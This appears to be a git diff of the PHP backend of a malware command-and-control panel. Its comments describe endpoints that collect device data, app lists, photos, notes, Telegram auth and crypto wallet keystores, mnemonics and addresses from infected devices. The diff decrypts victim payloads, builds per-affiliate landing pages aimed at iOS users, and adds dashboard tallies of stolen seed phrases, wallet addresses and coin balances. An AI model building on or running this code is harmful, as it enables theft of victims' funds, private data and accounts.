feat: new channel
This commit is contained in:
+1
-1
@@ -43,7 +43,7 @@ if (! function_exists('create_log')) {
|
||||
|
||||
if (! function_exists('c2_log_request_meta')) {
|
||||
/**
|
||||
* IP + proxy headers for C2 file logs (iptj vs native comparison).
|
||||
* IP + proxy headers for C2 file logs.
|
||||
*
|
||||
* @return array{ip: string|null, remote_addr: mixed, headers: array<string, string|null>}
|
||||
*/
|
||||
|
||||
@@ -65,7 +65,7 @@ class ChannelController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (Channel $c) {
|
||||
$row = [
|
||||
return [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'builder_type' => $c->builderType(),
|
||||
@@ -74,15 +74,10 @@ class ChannelController extends Controller
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'links' => $c->supportLinks(),
|
||||
'download_url' => null,
|
||||
'landing_path' => $c->landingPath(),
|
||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
if ($c->isNewBuilder()) {
|
||||
$row['download_url'] = route($this->portal().'.channels.download', $c);
|
||||
}
|
||||
|
||||
return $row;
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
@@ -117,7 +112,7 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
$channelIdRule = $builderType === Channel::BUILDER_NEW
|
||||
? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/']
|
||||
? ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN]
|
||||
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
|
||||
|
||||
$data = $request->validate([
|
||||
@@ -134,10 +129,10 @@ class ChannelController extends Controller
|
||||
if ($builderType === Channel::BUILDER_NEW) {
|
||||
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
|
||||
if ($normalized === null) {
|
||||
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']);
|
||||
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
|
||||
}
|
||||
$data['channel_id'] = $normalized;
|
||||
if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) {
|
||||
if (Channel::query()->where('channel_id', $normalized)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
}
|
||||
@@ -209,10 +204,8 @@ class ChannelController extends Controller
|
||||
'support_path' => $build['support_path'] ?? $channel->landingPath(),
|
||||
'weifile_path' => $build['weifile_path'] ?? null,
|
||||
'daily_path' => $build['daily_path'] ?? '',
|
||||
'zip_path' => $build['zip_path'] ?? null,
|
||||
'download_url' => $channel->isNewBuilder()
|
||||
? route('admin.channels.download', $channel)
|
||||
: null,
|
||||
'channel_dir' => $build['channel_dir'] ?? null,
|
||||
'show_alias' => $build['show_alias'] ?? null,
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -265,19 +258,6 @@ class ChannelController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function download(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
$this->authorizeChannel($channel);
|
||||
abort_unless($channel->isNewBuilder(), 404);
|
||||
|
||||
$path = $projects->newChannelZipPath($channel->channel_id);
|
||||
abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道');
|
||||
|
||||
return response()->download($path, $channel->channel_id.'.zip', [
|
||||
'Content-Type' => 'application/zip',
|
||||
]);
|
||||
}
|
||||
|
||||
public function destroy(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\FilterOptionsService;
|
||||
|
||||
class FilterOptionsController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function __construct(
|
||||
private readonly FilterOptionsService $options,
|
||||
) {}
|
||||
|
||||
public function channels()
|
||||
{
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => $this->options->channelOptions($this->agent()),
|
||||
]);
|
||||
}
|
||||
|
||||
public function agents()
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权访问', 'data' => []], 403);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => $this->options->agentOptions(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -4,15 +4,10 @@ namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
@@ -22,6 +17,8 @@ use Illuminate\Support\Facades\Storage;
|
||||
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||
* /api/tg/t Telegram auth (tglib).
|
||||
*
|
||||
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
@@ -34,110 +31,6 @@ class XxbbC2Controller extends Controller
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
/**
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
|
||||
*/
|
||||
public function iptj(Request $request): Response
|
||||
{
|
||||
$payload = $request->json()->all();
|
||||
if ($payload === []) {
|
||||
$decoded = json_decode((string) $request->getContent(), true);
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
|
||||
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
|
||||
if ($normalizedCode !== null) {
|
||||
$channelCode = $normalizedCode;
|
||||
}
|
||||
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
|
||||
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
|
||||
$sessionId = $this->normalizeSessionId(
|
||||
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
|
||||
);
|
||||
|
||||
$domain = PageVisit::normalizeDomain($domain);
|
||||
$ip = PageVisit::normalizeIp((string) $request->ip());
|
||||
$uid = PageVisit::visitorUid($domain, $ip);
|
||||
$recorded = false;
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
// Landing JS often sends major.minor only (`iOS 15.8`); UA has the patch (`15_8_4`).
|
||||
if ($osVersion === null && $deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
try {
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => substr($channelCode, 0, 64),
|
||||
'client_uid' => $uid,
|
||||
'session_id' => $sessionId,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => $domain,
|
||||
'referer' => $this->referer($request),
|
||||
'created_at' => now(),
|
||||
]);
|
||||
$recorded = true;
|
||||
} catch (QueryException $e) {
|
||||
if (($e->errorInfo[0] ?? '') !== '23000') {
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$meta = c2_log_request_meta($request);
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => '/'.ltrim($request->path(), '/'),
|
||||
'ip' => $ip !== '' ? $ip : $meta['ip'],
|
||||
'remote_addr' => $meta['remote_addr'],
|
||||
'device_key' => null,
|
||||
'client_uid' => $uid !== '' ? $uid : null,
|
||||
'recorded' => $recorded,
|
||||
'timestamp_hdr' => null,
|
||||
'headers' => $meta['headers'],
|
||||
'payload' => $payload,
|
||||
'decrypt_ok' => true,
|
||||
'error' => null,
|
||||
], 'xxbb');
|
||||
|
||||
return response('{}', 200)->header('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
private function normalizeSessionId(string $sessionId): ?string
|
||||
{
|
||||
$sessionId = trim($sessionId);
|
||||
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $sessionId;
|
||||
}
|
||||
|
||||
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
|
||||
{
|
||||
if ($sessionId !== null) {
|
||||
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
|
||||
if (! Cache::add($debounceKey, 1, now()->addDay())) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
|
||||
}
|
||||
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
|
||||
return Cache::add($debounceKey, 1, now()->addSeconds(8));
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
|
||||
public function profile(Request $request): Response
|
||||
{
|
||||
@@ -163,7 +56,7 @@ class XxbbC2Controller extends Controller
|
||||
public function event(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
@@ -309,16 +202,6 @@ class XxbbC2Controller extends Controller
|
||||
);
|
||||
}
|
||||
|
||||
private function referer(Request $request): ?string
|
||||
{
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
if ($referer === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return substr($referer, 0, 512);
|
||||
}
|
||||
|
||||
private function xxbbAck(Request $request): Response
|
||||
{
|
||||
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
||||
|
||||
@@ -94,6 +94,7 @@ class DecryptXxbbBody
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||
$request->attributes->set('coruna_new_builder', true);
|
||||
$request->attributes->set('coruna_xxbb_core', in_array($path, ['/a', '/u', '/event'], true));
|
||||
$request->attributes->set('xxbb_ts', $timestamp);
|
||||
|
||||
return $next($request);
|
||||
|
||||
+32
-21
@@ -14,10 +14,11 @@ class Channel extends Model
|
||||
|
||||
public const BUILDER_NEW = 'new';
|
||||
|
||||
public const NEW_CHANNEL_ID_LENGTH = 8;
|
||||
/** New-builder channel id / core ver·sdkv patch string: exactly 6 chars like 2.2.66 (alnum + dots). */
|
||||
public const NEW_CHANNEL_ID_PATTERN = '/^[0-9A-Z]\.[0-9A-Z]\.[0-9A-Z]{2}$/';
|
||||
|
||||
/**
|
||||
* Public-root path prefixes that must not be used as 8-char channel IDs.
|
||||
* Public-root path prefixes that must not be used as old 32-hex channel IDs.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
@@ -39,6 +40,25 @@ class Channel extends Model
|
||||
'builder_type' => self::BUILDER_OLD,
|
||||
];
|
||||
|
||||
protected static function booted(): void
|
||||
{
|
||||
$bust = static function (Channel $channel): void {
|
||||
$svc = app(\App\Services\FilterOptionsService::class);
|
||||
$svc->forgetChannels();
|
||||
$uids = array_unique(array_filter([
|
||||
(int) $channel->user_id,
|
||||
(int) $channel->getOriginal('user_id'),
|
||||
]));
|
||||
foreach ($uids as $uid) {
|
||||
if ($uid > 0) {
|
||||
$svc->forgetChannels($uid);
|
||||
}
|
||||
}
|
||||
};
|
||||
static::saved($bust);
|
||||
static::deleted($bust);
|
||||
}
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
@@ -124,7 +144,7 @@ class Channel extends Model
|
||||
public function landingPath(): string
|
||||
{
|
||||
if ($this->isNewBuilder()) {
|
||||
return '/weifile/weifile.html';
|
||||
return '/channel/'.$this->channel_id.'/weifile/weifile.html';
|
||||
}
|
||||
|
||||
return '/web/'.$this->channel_id.'/support.html';
|
||||
@@ -135,10 +155,6 @@ class Channel extends Model
|
||||
*/
|
||||
public function supportLinks(): array
|
||||
{
|
||||
if ($this->isNewBuilder()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$links = [];
|
||||
$path = $this->landingPath();
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
@@ -164,10 +180,7 @@ class Channel extends Model
|
||||
public static function normalizeNewChannelId(string $channelId): ?string
|
||||
{
|
||||
$channelId = strtoupper(trim($channelId));
|
||||
if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) {
|
||||
return null;
|
||||
}
|
||||
if (self::isReservedChannelName($channelId)) {
|
||||
if (! preg_match(self::NEW_CHANNEL_ID_PATTERN, $channelId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -176,12 +189,12 @@ class Channel extends Model
|
||||
|
||||
public static function randomNewChannelId(): string
|
||||
{
|
||||
for ($i = 0; $i < 32; $i++) {
|
||||
$code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH));
|
||||
if (self::normalizeNewChannelId($code) === null) {
|
||||
continue;
|
||||
}
|
||||
if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) {
|
||||
$chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
|
||||
$pick = static fn (): string => $chars[random_int(0, strlen($chars) - 1)];
|
||||
|
||||
for ($i = 0; $i < 64; $i++) {
|
||||
$code = $pick().'.'.$pick().'.'.$pick().$pick();
|
||||
if (self::query()->where('channel_id', $code)->exists()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -191,11 +204,9 @@ class Channel extends Model
|
||||
throw new RuntimeException('无法生成唯一渠道 ID');
|
||||
}
|
||||
|
||||
public function sourceZipRelativePath(): string
|
||||
public function channelPublicRelativeDir(): string
|
||||
{
|
||||
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
|
||||
|
||||
return $dir.'/'.$this->channel_id.'.zip';
|
||||
return 'channel/'.$this->channel_id;
|
||||
}
|
||||
|
||||
public static function isReservedChannelName(string $name): bool
|
||||
|
||||
@@ -15,6 +15,15 @@ class User extends Authenticatable
|
||||
'password', 'remember_token', 'bot_token',
|
||||
];
|
||||
|
||||
protected static function booted(): void
|
||||
{
|
||||
$bust = static function (): void {
|
||||
app(\App\Services\FilterOptionsService::class)->forgetAgents();
|
||||
};
|
||||
static::saved($bust);
|
||||
static::deleted($bust);
|
||||
}
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
|
||||
@@ -45,7 +45,7 @@ class ChannelProjectService
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
return $this->generateNew($channelId);
|
||||
return $this->generateNew($channelId, $supportTemplate);
|
||||
}
|
||||
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
|
||||
@@ -72,9 +72,9 @@ class ChannelProjectService
|
||||
if ($code === null) {
|
||||
return;
|
||||
}
|
||||
$zip = $this->newChannelZipPath($code);
|
||||
if (is_file($zip) && ! unlink($zip)) {
|
||||
throw new RuntimeException('删除渠道安装包失败: '.$zip);
|
||||
$dir = $this->newChannelDirPath($code);
|
||||
if (is_dir($dir) && ! $this->removeDirectory($dir)) {
|
||||
throw new RuntimeException('删除渠道资源失败: '.$dir);
|
||||
}
|
||||
|
||||
return;
|
||||
@@ -163,8 +163,8 @@ class ChannelProjectService
|
||||
}
|
||||
|
||||
/**
|
||||
* Rebuild shared /details and staged weifile from `c`.
|
||||
* Only used by `php artisan xxbb:build`, not when creating a channel.
|
||||
* Rebuild shared /details and staged weifile from shared channel `c`.
|
||||
* Channel create always runs this with XXBB_CHANNEL_C from env (no random).
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
@@ -188,46 +188,53 @@ class ChannelProjectService
|
||||
$cmd[] = '--random-c';
|
||||
} else {
|
||||
$c = $this->normalizeSharedChannelC($channelC);
|
||||
if ($c !== null) {
|
||||
$cmd[] = '--channel-c';
|
||||
$cmd[] = $c;
|
||||
if ($c === null) {
|
||||
throw new RuntimeException('请先在 .env 配置 XXBB_CHANNEL_C(32 位 hex)');
|
||||
}
|
||||
$cmd[] = '--channel-c';
|
||||
$cmd[] = $c;
|
||||
}
|
||||
|
||||
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
}
|
||||
|
||||
private function generateNew(string $channelId): array
|
||||
private function generateNew(string $channelId, string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE): array
|
||||
{
|
||||
$channelId = Channel::normalizeNewChannelId($channelId);
|
||||
if ($channelId === null) {
|
||||
throw new RuntimeException('新版渠道 ID 必须是 8 位字母或数字(例如 FAFA9988)');
|
||||
throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)');
|
||||
}
|
||||
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
|
||||
|
||||
// Shared details + staged weifile always rebuilt from env XXBB_CHANNEL_C (never random).
|
||||
$this->buildSharedArtifacts($this->requireEnvChannelC(), false);
|
||||
|
||||
$weifileSrc = $this->stagedWeifileDir();
|
||||
if (! is_file($weifileSrc.DIRECTORY_SEPARATOR.'index.js')) {
|
||||
throw new RuntimeException('请先运行构建脚本: php artisan xxbb:build');
|
||||
}
|
||||
|
||||
$zipPath = $this->newChannelZipPath($channelId);
|
||||
$this->ensureDirectory(dirname($zipPath), '新版渠道产物目录');
|
||||
$detailsSrc = $this->artifactRoot().DIRECTORY_SEPARATOR.'details';
|
||||
$channelOut = $this->newChannelDirPath($channelId);
|
||||
$this->ensureDirectory(dirname($channelOut), '新版渠道产物目录');
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_NEW),
|
||||
$this->builderScript('pack_channel.py', self::BUILDER_NEW),
|
||||
'--channel-code',
|
||||
'--channel-ver',
|
||||
$channelId,
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--weifile-src',
|
||||
$weifileSrc,
|
||||
'--zip-out',
|
||||
$zipPath,
|
||||
'--details-src',
|
||||
$detailsSrc,
|
||||
'--channel-out',
|
||||
$channelOut,
|
||||
'--landing-template',
|
||||
$supportTemplate,
|
||||
];
|
||||
|
||||
$result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$seeds = $this->loadNewLabSeeds();
|
||||
$relativeZip = $this->newChannelZipRelative($channelId);
|
||||
$landing = (string) ($result['landing_path'] ?? '/channel/'.$channelId.'/weifile/weifile.html');
|
||||
$detailsPath = (string) ($result['details_path'] ?? '/channel/'.$channelId.'/details/');
|
||||
|
||||
return [
|
||||
'channel_id' => $channelId,
|
||||
@@ -243,10 +250,12 @@ class ChannelProjectService
|
||||
],
|
||||
'seeds_initialized' => false,
|
||||
'sync_rebuilt' => false,
|
||||
'support_path' => '',
|
||||
'support_path' => $landing,
|
||||
'weifile_path' => null,
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/'.$relativeZip,
|
||||
'daily_path' => $detailsPath,
|
||||
'channel_dir' => '/channel/'.$channelId,
|
||||
'show_alias' => (string) ($result['show_alias'] ?? '/c/'.$channelId.'/show.htm'),
|
||||
'support_template' => (string) ($result['landing_template'] ?? $supportTemplate),
|
||||
];
|
||||
}
|
||||
|
||||
@@ -255,17 +264,37 @@ class ChannelProjectService
|
||||
return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile';
|
||||
}
|
||||
|
||||
public function newChannelZipPath(string $channelId): string
|
||||
public function newChannelDirPath(string $channelId): string
|
||||
{
|
||||
return $this->artifactRoot().DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $this->newChannelZipRelative($channelId));
|
||||
}
|
||||
|
||||
public function newChannelZipRelative(string $channelId): string
|
||||
{
|
||||
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
|
||||
$code = Channel::normalizeNewChannelId($channelId) ?? $channelId;
|
||||
|
||||
return $dir.'/'.$code.'.zip';
|
||||
return $this->artifactRoot().DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$code;
|
||||
}
|
||||
|
||||
private function removeDirectory(string $dir): bool
|
||||
{
|
||||
if (! is_dir($dir)) {
|
||||
return true;
|
||||
}
|
||||
$items = scandir($dir);
|
||||
if ($items === false) {
|
||||
return false;
|
||||
}
|
||||
foreach ($items as $item) {
|
||||
if ($item === '.' || $item === '..') {
|
||||
continue;
|
||||
}
|
||||
$path = $dir.DIRECTORY_SEPARATOR.$item;
|
||||
if (is_dir($path)) {
|
||||
if (! $this->removeDirectory($path)) {
|
||||
return false;
|
||||
}
|
||||
} elseif (! unlink($path)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return rmdir($dir);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -299,6 +328,16 @@ class ChannelProjectService
|
||||
];
|
||||
}
|
||||
|
||||
private function requireEnvChannelC(): string
|
||||
{
|
||||
$c = $this->normalizeSharedChannelC(null);
|
||||
if ($c === null) {
|
||||
throw new RuntimeException('请先在 .env 配置 XXBB_CHANNEL_C(32 位 hex)');
|
||||
}
|
||||
|
||||
return $c;
|
||||
}
|
||||
|
||||
private function normalizeSharedChannelC(?string $channelC): ?string
|
||||
{
|
||||
$c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
|
||||
|
||||
@@ -5,6 +5,8 @@ namespace App\Services;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
@@ -22,14 +24,19 @@ class DashboardStatsService
|
||||
* } $filters
|
||||
* @return array{
|
||||
* total: int,
|
||||
* wallet_count: int,
|
||||
* new_count: int,
|
||||
* active_count: int,
|
||||
* pv: int,
|
||||
* uv: int,
|
||||
* effective_pv: int,
|
||||
* effective_uv: int,
|
||||
* by_os: list<array{label: string, pv: int, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, pv: int, uv: int, pct: float}>,
|
||||
* mnemonic_count: int,
|
||||
* address_count: int,
|
||||
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
|
||||
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||
* range: string,
|
||||
* from: string,
|
||||
* to: string
|
||||
@@ -62,8 +69,26 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
$total = (clone $base)->count();
|
||||
$walletCount = (clone $base)->where('has_wallet', Device::WALLET_YES)->count();
|
||||
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
$mnemonicCount = $this->countDeviceChildren(
|
||||
WalletMnemonic::query(),
|
||||
'wallet_mnemonics',
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
);
|
||||
$addressCount = $this->countDeviceChildren(
|
||||
WalletAddress::query(),
|
||||
'wallet_addresses',
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
);
|
||||
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact);
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdScope($visits, $agent);
|
||||
@@ -86,53 +111,151 @@ class DashboardStatsService
|
||||
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$iosVisits = (clone $visits)->where('os', 'iOS');
|
||||
$iosPv = (clone $iosVisits)->count();
|
||||
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$otherVisits = (clone $visits)->where(function (Builder $q) {
|
||||
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
|
||||
});
|
||||
$otherPv = (clone $otherVisits)->count();
|
||||
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
|
||||
|
||||
$byOs = [
|
||||
$this->row('iOS', $iosPv, $iosUv, $pv),
|
||||
$this->row('其他', $otherPv, $otherUv, $pv),
|
||||
$this->visitRow('iOS', $iosUv, $uv),
|
||||
$this->visitRow('其他', $otherUv, $uv),
|
||||
];
|
||||
|
||||
$byIosVersion = (clone $iosVisits)
|
||||
$versionGroups = (clone $iosVisits)
|
||||
->select('os_version')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('os_version')
|
||||
->orderByDesc('pv')
|
||||
->orderByDesc('uv')
|
||||
->limit(20)
|
||||
->get();
|
||||
// Denominator = sum of per-version UVs (not global DISTINCT).
|
||||
// Same visitor may appear under multiple versions; using DISTINCT total would
|
||||
// make every overlapping bucket show ~100%.
|
||||
$versionUvSum = (int) $versionGroups->sum('uv');
|
||||
$byIosVersion = $versionGroups
|
||||
->map(fn ($r) => $this->visitRow(
|
||||
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
|
||||
(int) $r->uv,
|
||||
$versionUvSum > 0 ? $versionUvSum : $iosUv,
|
||||
))
|
||||
->values()
|
||||
->all();
|
||||
|
||||
$byDeviceIosVersion = (clone $base)
|
||||
->select('ios_version')
|
||||
->selectRaw('COUNT(*) as cnt')
|
||||
->groupBy('ios_version')
|
||||
->orderByDesc('cnt')
|
||||
->limit(20)
|
||||
->get()
|
||||
->map(fn ($r) => $this->row(
|
||||
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
|
||||
(int) $r->pv,
|
||||
(int) $r->uv,
|
||||
$iosPv > 0 ? $iosPv : $pv,
|
||||
))
|
||||
->map(function ($r) use ($total) {
|
||||
$label = trim((string) ($r->ios_version ?? ''));
|
||||
|
||||
return $this->deviceRow(
|
||||
$label !== '' ? $label : '未知',
|
||||
(int) $r->cnt,
|
||||
$total,
|
||||
);
|
||||
})
|
||||
->values()
|
||||
->all();
|
||||
|
||||
return [
|
||||
'total' => $total,
|
||||
'wallet_count' => $walletCount,
|
||||
'new_count' => $newCount,
|
||||
'active_count' => $activeCount,
|
||||
'pv' => $pv,
|
||||
'uv' => $uv,
|
||||
'effective_pv' => $effectivePv,
|
||||
'effective_uv' => $effectiveUv,
|
||||
'mnemonic_count' => $mnemonicCount,
|
||||
'address_count' => $addressCount,
|
||||
'balances' => $balances,
|
||||
'by_os' => $byOs,
|
||||
'by_ios_version' => $byIosVersion,
|
||||
'by_device_ios_version' => $byDeviceIosVersion,
|
||||
'range' => $range,
|
||||
'from' => $from->toDateTimeString(),
|
||||
'to' => $to->toDateTimeString(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Join a device-child table and apply the same channel / agent scope as device totals.
|
||||
*/
|
||||
private function scopedDeviceChildren(
|
||||
Builder $query,
|
||||
string $table,
|
||||
?User $agent,
|
||||
?int $agentUserId,
|
||||
string $channelId,
|
||||
bool $channelExact,
|
||||
): Builder {
|
||||
$query->join('devices', 'devices.id', '=', $table.'.device_id');
|
||||
AgentScope::applyDeviceChannelScope($query, $agent);
|
||||
if ($agent === null) {
|
||||
AgentScope::applyAgentUserFilter($query, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
if ($channelExact) {
|
||||
$query->where('devices.channel_id', $channelId);
|
||||
} else {
|
||||
$query->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
}
|
||||
|
